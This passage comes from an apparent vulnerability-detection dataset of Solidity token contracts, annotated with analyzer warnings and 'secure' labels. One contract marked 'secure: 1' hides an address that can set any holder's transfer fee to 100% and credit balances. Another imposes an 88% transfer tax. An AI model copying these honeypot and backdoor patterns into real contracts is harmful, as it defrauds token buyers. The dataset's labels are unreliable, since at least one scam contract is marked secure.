54864ba: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b49fca0): ERC._reduceBuyTaxAt should be constant \n\t// Recommendation for b49fca0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca665ce): ERC._reduceSellTaxAt should be constant \n\t// Recommendation for ca665ce: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48c9184): ERC._preventSwapBefore should be constant \n\t// Recommendation for 48c9184: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: df263eb): ERC._taxSwapThreshold should be constant \n\t// Recommendation for df263eb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: e42adc3): ERC._maxTaxSwap should be constant \n\t// Recommendation for e42adc3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d117b8b): ERC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d117b8b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 12430ab): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 12430ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8d43bea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8d43bea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 12430ab\n\t\t// reentrancy-benign | ID: 8d43bea\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 12430ab\n\t\t// reentrancy-benign | ID: 8d43bea\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ab8184e): ERC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ab8184e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a57c391\n\t\t// reentrancy-benign | ID: 8d43bea\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 12430ab\n\t\t// reentrancy-events | ID: d78ea20\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9630ee4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9630ee4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6ecbd30): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6ecbd30: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 9630ee4\n\t\t\t\t// reentrancy-eth | ID: 6ecbd30\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9630ee4\n\t\t\t\t\t// reentrancy-eth | ID: 6ecbd30\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6ecbd30\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6ecbd30\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6ecbd30\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9630ee4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6ecbd30\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6ecbd30\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9630ee4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 12430ab\n\t\t// reentrancy-events | ID: 9630ee4\n\t\t// reentrancy-events | ID: d78ea20\n\t\t// reentrancy-benign | ID: a57c391\n\t\t// reentrancy-benign | ID: 8d43bea\n\t\t// reentrancy-eth | ID: 31f33db\n\t\t// reentrancy-eth | ID: 6ecbd30\n\t\t// reentrancy-eth | ID: d2192d7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2511bfc): ERC.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2511bfc: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 12430ab\n\t\t// reentrancy-events | ID: 9630ee4\n\t\t// reentrancy-events | ID: d78ea20\n\t\t// reentrancy-eth | ID: 31f33db\n\t\t// reentrancy-eth | ID: 6ecbd30\n\t\t// reentrancy-eth | ID: d2192d7\n\t\t// arbitrary-send-eth | ID: 2511bfc\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d78ea20): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d78ea20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a57c391): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a57c391: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fdcea7c): ERC.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fdcea7c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 98cf709): ERC.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 98cf709: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 31f33db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 31f33db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d2192d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d2192d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: d78ea20\n\t\t// reentrancy-benign | ID: a57c391\n\t\t// reentrancy-eth | ID: 31f33db\n\t\t// reentrancy-eth | ID: d2192d7\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: d78ea20\n\t\t// reentrancy-benign | ID: a57c391\n\t\t// reentrancy-eth | ID: 31f33db\n\t\t// reentrancy-eth | ID: d2192d7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: d78ea20\n\t\t// reentrancy-benign | ID: a57c391\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 98cf709\n\t\t// reentrancy-eth | ID: 31f33db\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: fdcea7c\n\t\t// reentrancy-eth | ID: 31f33db\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 31f33db\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 31f33db\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8d93f2e): ERC.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 8d93f2e: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 8d93f2e\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1248.sol",
"secure": 0,
"size_bytes": 18708
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: c432047): Contract locking ether found Contract DragonWolf has payable functions DragonWolf.receive() But does not have a function to withdraw the ether\n// Recommendation for c432047: Remove the 'payable' attribute or add a withdraw function.\ncontract DragonWolf is IERC20 {\n\t// WARNING Optimization Issue (constable-states | ID: e54da55): DragonWolf.name should be constant \n\t// Recommendation for e54da55: Add the 'constant' attribute to state variables that never change.\n string public name = \"DragonWolf\"; // Token name\n\n\t// WARNING Optimization Issue (constable-states | ID: 266d6f0): DragonWolf.symbol should be constant \n\t// Recommendation for 266d6f0: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"WOLF\"; // Token symbol\n\n\t// WARNING Optimization Issue (constable-states | ID: ce93331): DragonWolf.decimals should be constant \n\t// Recommendation for ce93331: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b96eb43): DragonWolf.totalSupply should be immutable \n\t// Recommendation for b96eb43: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public override totalSupply;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 54d7361): DragonWolf.allowance(address,address).owner shadows DragonWolf.owner (state variable)\n\t// Recommendation for 54d7361: Rename the local variables that shadow another component.\n address public owner;\n\n bool public tradingOpen = false;\n\n mapping(address => bool) public bots;\n\n bool public transferTaxEnabled = true;\n\n uint256 public initialBuyTax = 25;\n\n uint256 public initialSellTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f210d8): DragonWolf.finalBuyTax should be constant \n\t// Recommendation for 7f210d8: Add the 'constant' attribute to state variables that never change.\n uint256 public finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a86ca99): DragonWolf.finalSellTax should be constant \n\t// Recommendation for a86ca99: Add the 'constant' attribute to state variables that never change.\n uint256 public finalSellTax = 0;\n\n uint256 public reduceBuyTaxAt = 10;\n\n uint256 public reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7af460): DragonWolf.preventSwapBefore should be constant \n\t// Recommendation for f7af460: Add the 'constant' attribute to state variables that never change.\n uint256 public preventSwapBefore = 20;\n\n uint256 public transferTax = 88;\n\n\t// WARNING Optimization Issue (constable-states | ID: d027008): DragonWolf.buyCount should be constant \n\t// Recommendation for d027008: Add the 'constant' attribute to state variables that never change.\n uint256 public buyCount = 0;\n\n event OwnershipRenounced(address indexed previousOwner);\n\n event TradingOpened(bool status);\n\n event BotAdded(address indexed bot);\n\n event BotRemoved(address indexed bot);\n\n event TransferTaxRemoved();\n\n event ManualSwap(address indexed account, uint256 amount);\n\n constructor() {\n owner = msg.sender;\n\n totalSupply = 100000000 * 10 ** uint256(decimals);\n\n _balances[msg.sender] = totalSupply;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not the owner\");\n\n _;\n }\n\n function openTrading(bool _status) external onlyOwner {\n tradingOpen = _status;\n\n emit TradingOpened(_status);\n }\n\n function addBots(address _bot) external onlyOwner {\n bots[_bot] = true;\n\n emit BotAdded(_bot);\n }\n\n function removeBots(address _bot) external onlyOwner {\n bots[_bot] = false;\n\n emit BotRemoved(_bot);\n }\n\n function removeLimits() external onlyOwner {\n initialBuyTax = 0;\n\n initialSellTax = 0;\n\n reduceBuyTaxAt = 0;\n\n reduceSellTaxAt = 0;\n\n emit TradingOpened(false);\n }\n\n function removeTransferTax() external onlyOwner {\n transferTax = 0;\n\n transferTaxEnabled = false;\n\n emit TransferTaxRemoved();\n }\n\n function manualSwap(address account, uint256 amount) external onlyOwner {\n emit ManualSwap(account, amount);\n }\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipRenounced(owner);\n\n owner = address(0);\n }\n\n function calculateTax(\n address from,\n address to,\n uint256 amount\n ) public view returns (uint256) {\n if (bots[from] || bots[to]) {\n return 0;\n }\n\n uint256 taxRate = 0;\n\n if (from == owner || to == owner) {\n taxRate = 0;\n } else if (block.number < reduceBuyTaxAt) {\n taxRate = initialBuyTax;\n } else if (block.number < reduceSellTaxAt) {\n taxRate = initialSellTax;\n } else {\n taxRate = finalBuyTax;\n }\n\n if (transferTaxEnabled) {\n taxRate = transferTax;\n }\n\n uint256 taxAmount = (amount * taxRate) / 100;\n\n return taxAmount;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external override returns (bool) {\n uint256 taxAmount = calculateTax(msg.sender, to, amount);\n\n uint256 amountAfterTax = amount - taxAmount;\n\n _balances[msg.sender] -= amount;\n\n _balances[to] += amountAfterTax;\n\n emit Transfer(msg.sender, to, amountAfterTax);\n\n return true;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n uint256 taxAmount = calculateTax(sender, recipient, amount);\n\n uint256 amountAfterTax = amount - taxAmount;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amountAfterTax;\n\n _allowances[sender][msg.sender] -= amount;\n\n emit Transfer(sender, recipient, amountAfterTax);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 54d7361): DragonWolf.allowance(address,address).owner shadows DragonWolf.owner (state variable)\n\t// Recommendation for 54d7361: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: c432047): Contract locking ether found Contract DragonWolf has payable functions DragonWolf.receive() But does not have a function to withdraw the ether\n\t// Recommendation for c432047: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1249.sol",
"secure": 0,
"size_bytes": 7742
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Create2.sol\" as Create2;\n\ncontract TokenFactory {\n event Deployed(address deployedContract);\n\n function deploy(bytes32 salt, bytes memory creationCode) public {\n address deployedContract;\n\n deployedContract = Create2.deploy(0, salt, creationCode);\n\n emit Deployed(deployedContract);\n }\n\n function computeAddress(\n bytes32 salt,\n bytes memory creationCode\n ) public view returns (address) {\n return\n Create2.computeAddress(\n salt,\n keccak256(abi.encodePacked(creationCode))\n );\n }\n}",
"file_name": "solidity_code_125.sol",
"secure": 1,
"size_bytes": 688
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract HarryPotterTrumpMagaBitcoin is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5d9af7c): HarryPotterTrumpMagaBitcoin._decimals should be immutable \n\t// Recommendation for 5d9af7c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c9ff54): HarryPotterTrumpMagaBitcoin._totalSupply should be immutable \n\t// Recommendation for 6c9ff54: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 45234ca): HarryPotterTrumpMagaBitcoin._marketsameaddress should be immutable \n\t// Recommendation for 45234ca: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketsameaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketsameaddress = 0x7589364CF8d31572f2F7a05eA306636f9978aD28;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Swaps(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketsameaddress;\n }\n\n function burntliqmoons(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_1250.sol",
"secure": 1,
"size_bytes": 5443
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface LyraRouterInterfacee {\n function safeTransfer(\n address sender,\n address recipient,\n uint256 amount,\n address ca\n ) external returns (bool);\n\n function balanceOf(\n address account,\n address ca\n ) external view returns (uint256);\n\n function start(address ca, uint256 totalSupply) external;\n\n function approve(\n address owner,\n address spender,\n uint256 amount,\n address ca\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender,\n address ca\n ) external view returns (uint256);\n\n function transferFrom(\n address owner,\n address spender,\n uint256 amount,\n address ca\n ) external returns (bool);\n}",
"file_name": "solidity_code_1251.sol",
"secure": 1,
"size_bytes": 879
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IExchangeRouter {\n function WETH() external pure returns (address);\n}",
"file_name": "solidity_code_1252.sol",
"secure": 1,
"size_bytes": 146
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IExchangeFactory {\n function createPair(\n address token1,\n address token2\n ) external returns (address);\n}",
"file_name": "solidity_code_1253.sol",
"secure": 1,
"size_bytes": 203
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./lyraRouterInterface.sol\" as lyraRouterInterface;\nimport \"./IExchangeRouter.sol\" as IExchangeRouter;\nimport \"./IExchangeFactory.sol\" as IExchangeFactory;\n\ncontract LYRA {\n address public _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n modifier onlyOwner() {\n require(owner() == msg.sender, \"Caller is not the owner\");\n\n _;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n IExchangeRouter public exchangeRouter;\n\n address public tokenPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3bcd092): LYRA.router should be immutable \n\t// Recommendation for 3bcd092: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n lyraRouterInterface public router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 32538e0): LYRA.contractAddress should be immutable \n\t// Recommendation for 32538e0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public contractAddress;\n\n string public constant name = \"Lyra\";\n\n string public constant symbol = \"LYRA\";\n\n uint8 public constant decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 848912e): LYRA.totalSupply should be constant \n\t// Recommendation for 848912e: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1_000_000 * 1e18;\n\n uint256 public maxAllowedBalance;\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f693eb6): LYRA.constructor() performs a multiplication on the result of a division maxAllowedBalance = (totalSupply / 100) * 2\n\t// Recommendation for f693eb6: Consider ordering multiplication before division.\n constructor() {\n _owner = tx.origin;\n\n contractAddress = address(this);\n\n router = lyraRouterInterface(\n address(0x00000000003D939FBb8DBF2602Db3ED7662042dB)\n );\n\n router.start(address(this), totalSupply);\n\n\t\t// divide-before-multiply | ID: f693eb6\n maxAllowedBalance = (totalSupply / 100) * 2;\n\n emit Transfer(address(0), tx.origin, totalSupply);\n\n emit OwnershipTransferred(address(0), tx.origin);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n require(newOwner != address(0), \"New owner is the zero address\");\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f7dde0f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f7dde0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 17d2022): LYRA.transfer(address,uint256) uses tx.origin for authorization tx.origin 